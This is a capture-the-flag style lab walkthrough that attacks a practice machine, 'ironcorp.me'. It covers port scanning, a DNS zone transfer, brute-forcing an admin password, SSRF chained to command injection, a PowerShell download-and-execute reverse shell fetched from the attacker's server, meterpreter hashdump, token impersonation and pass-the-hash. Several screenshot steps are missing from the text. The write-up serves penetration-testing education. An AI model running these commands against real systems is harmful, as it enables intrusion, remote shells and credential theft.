Complex Attack Types: Sample Scenarios 41

In this article of the series, we will infiltrate the opposing system using our intelligence and penetration abilities and explain every attack we perform in the lab environment. This article will allow you to improve your penetration abilities in many ways.

You may see that the IPs change from time to time, do not care, we will be using different machines as we progress. The entire methodology is the same.

If your keyboard is ready, let’s get started cyberpunks!

First of all, save the values ​​and IPs you use most on the shell.

Now register the target machine on local DNS. We will use our /etc/hosts/ file to achieve this.

We have completed the stage. We can move on to the exploration section.

We can reveal the structure, network system and open ports of the target machine using the nmap tool: nmap -sV -sC -oN nmap_general_result.txt -T4 -A -Pn -p- --min-rate=300 --max-retries=3 $target_ip

This gives you a comprehensive result, you have to have some patience for this.

As you can see, we have obtained the details and other notes that some ports are open. Don’t forget to record all of these in the real scenario.

53/tcp open domain:

135/tcp open msrpc Microsoft Windows RPC:

3389/tcp open ms-wbt-server Microsoft Terminal Services:

8080/tcp open http Microsoft IIS httpd 10.0:

1025/tcp open http Apache HTTPD 2.4.41:

49667/tcp filtered msrpc Microsoft Windows RPC:

49670/tcp open msrpc Microsoft Windows RPC:

You can make a specific nmap query on these ports before proceeding to the next step: nmap -p 53,135,3389,8080,11025,49667,49670 --script=vuln -A -T4 -sV $target_ip -oN nmap_spec_result.txt

Now you should take a good look at the nmap output produced for the ports connected to the HTTP servers. There are hidden pages and endpoints that would not normally be safe for them. We will try another approach to get these pages in a moment.

Now the DNS port is open and we need to look at ways to discover it. Use dig axfr @10.10.126.48 ironcorp.me

axfr: Stands for “Asynchronous Full Transfer Zone.” It is used to request a zone transfer from the DNS server. A zone transfer allows you to retrieve the entire DNS zone file, which includes all the DNS records for a domain.

As you can see, we received additional domains. You need to save the defined values ​​in your /etc/hosts file.

You can find out whether DNS Zone transfer is possible with this command: nmap --script=dns-zone-transfer -p 53 $target_ip -Pn if you need.

Now let’s be a little sneaky and do an alternative check. You can check if we can leave a TXT record on DNS.

Use it:

Now control it. We will use nslookup for it.

Use it:

Yes, we managed to add a TXT, now save it and add it to your list for future use. Maybe this will allow us to make a record on DNS for our own IP value in the future.

The admin page has a security mechanism, it asks us for a username and password. Now we can try a brute-force for this: hydra -l admin -P /usr/share/wordlists/seclists/Passwords/Common-Credentials/best1050.txt -s 11025 admin.ironcorp.me http-get

Don’t be surprised, most systems engineers are too lazy to change their username…

Really! We got that password.

Now we can log in to the panel.

We are in now.

Now it’s time to review the page. Feel free to use developer tools through your browser. It is recommended to obtain and save values ​​such as Session ID and cookies.

The input section seems to have been prepared quite inexperiencedly, take note. It is “?r=”.

Get “storage” section.

No storage… Get “network” section. You may be able to get endpoints.

Nope… Keep going.

Save any information you get from here.

Try typing something in the “Search” section.

Yes, the format is as we expected: ?r=hello+world#

Now we can do some interesting experiments. Try to get “https://google.com”

No error, but connection is still running… So what happens if we try to pull a file? Try any file from internet.

We got an error, but our URL scheme gave us a message.

There is a transfer structure here. In other words, we can make requests to IPs registered in the internal system. Try for internal.ironcorp.me now.

Yes! We got this.

So what is “here”?

Have you seen the URL? We were redirected here, but we don’t have access as of now. We can achieve this again via the admin page. Note that.

Yes. Our theory was proven right. Save this name: Equinox.

So, can we add a file from our own system here? Try it.

First activate your own HTTP server: python3 -m http.server

Now create a random file.

Let’s try to get our file through the admin page we have captured.

Very exciting! Our attack scenario is increasing considerably. Note that too.

Now let’s go into some details, this structure we obtained seems to have SSRF vulnerability. Server-Side Request Forgery (SSRF) is a type of web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker’s choosing. This can lead to a variety of potential impacts, such as leaking sensitive information, accessing internal services, or even executing remote code depending on the server’s configuration and capabilities.

When you examine the “Response Header” section, it says PHP version. You can conduct exploit research.

You should always evaluate what’s here.

Now we can see if we can convert it to RCE. Remote Code Execution (RCE) is a type of security vulnerability that allows an attacker to execute arbitrary code on a remote system. This can lead to severe consequences, as it enables attackers to take full control of the compromised system, potentially leading to data theft, system damage, and further exploitation of the network.

Try it.

A value can be entered after the expression “Equinox”. Now let’s manipulate this a little bit.

Did you see? We were able to run the command and obtain our system name: nt authority\system

Now we can move this to the curl environment.

Note that:

Check “Authorization: Basic YWRtaW46cGFzc3dvcmQxMjM=” .

We have an authorization encoded in Base64.

Use it curl --user admin:**** 'http://admin.ironcorp.me:11025/?r=http://internal.ironcorp.me:11025/name.php?name=test|whoami'

We are in a Windows environment, let’s see if we can get other information. Use curl --user admin:**** 'http://admin.ironcorp.me:11025/?r=http://internal.ironcorp.me:11025/name.php?name=test|systeminfo'

We can get anything we want…

It’s time to journey into some more dangerous waters.

First, download the following file to your local: https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

We have previously activated our HTTP server, if it is not active, do not forget to activate it again.

Now we need to pass the following command to the other side: powershell.exe -c iex(new-object net.webclient).downloadstring(‘http://10.10.7.103:8000/power_tcp.ps1')

First of all, we may need to do this by URL encoding. Use it https://www.urlencoder.org/ if you need.

If that doesn’t work, you need a different hex layout. You can write python code for this. Just double it.

You can also do this through Brup.

Let’s try.

Could not understand… It looks like there is an error for our URL format…

Open Burp now.

Decode it for URL. And double it.

We have:

Forward it.

Yes! We uploaded it to the target system.

We need to look at how to make this work. Time to encode for:

We have:

Before forwarding this, put your machine in listening mode on the port you specified: nc -nlvp 11011

Firewalls may not allow you to run .ps1 files directly.

So you may need to send this command before importing it:

Encode it first.

We have:

Send it.

Now you can send the main payload:

If this doesn’t work, add this to the end of the file you send.

Try sending the file again.

We got reverse now!

You should look at the privilege level.

Yeap!

Now let’s look at other users.

There is another authorization at a higher level than admin privileges… We got “permission denied”.

At this stage, we need the privilege escalation method.

Now check permission for SuperAdmin: get-acl C:\Users\SuperAdmin | fl

Path: The path of the directory for which the ACL is being displayed.

Owner: The owner of the directory.

Group: The primary group of the directory.

Access: The access control entries (ACEs) for the directory, listing the permissions granted or denied to users or groups.

S-1-5-21-297466380-2647629429-287235700-1000 Allow FullControl

Time for some slyness here. First, we need to check if there is access to the “Administrator” user.

Yes, we have permission as expected.

Now let’s try to create a payload on the local machine and transfer it here.

Now we need to make some configurations via meterpreter. Use it.

Now it’s time to transfer it to the target system and use it. Here, check that your HTTP server is still active and that you have given the correct file name.

Run it.

Activate this powershell script in the specified location.

Yeap! Session is active and we have it.

Open it now.

Your abilities speak here. Use hashdump command via meterpreter.

Did you see?

Each line follows this pattern:

NTLM hashes are typically used for authentication in Windows environments.

Now use use incognito ,then list_tokens -u

Let’s use impersonate_token "WIN-8VMBKF3G815\Admin"

We are moving on to the final stage. Get shell.

We got that!

Let’s talk about another different method. You have the NTLM hashes, you can also access them with the following command: evil-winrm -i 10.10.230.120 -u <USER_NAME> -H <NLTM_HASH>

If possible…

Don’t give up on hacking.

Code for good.

^-^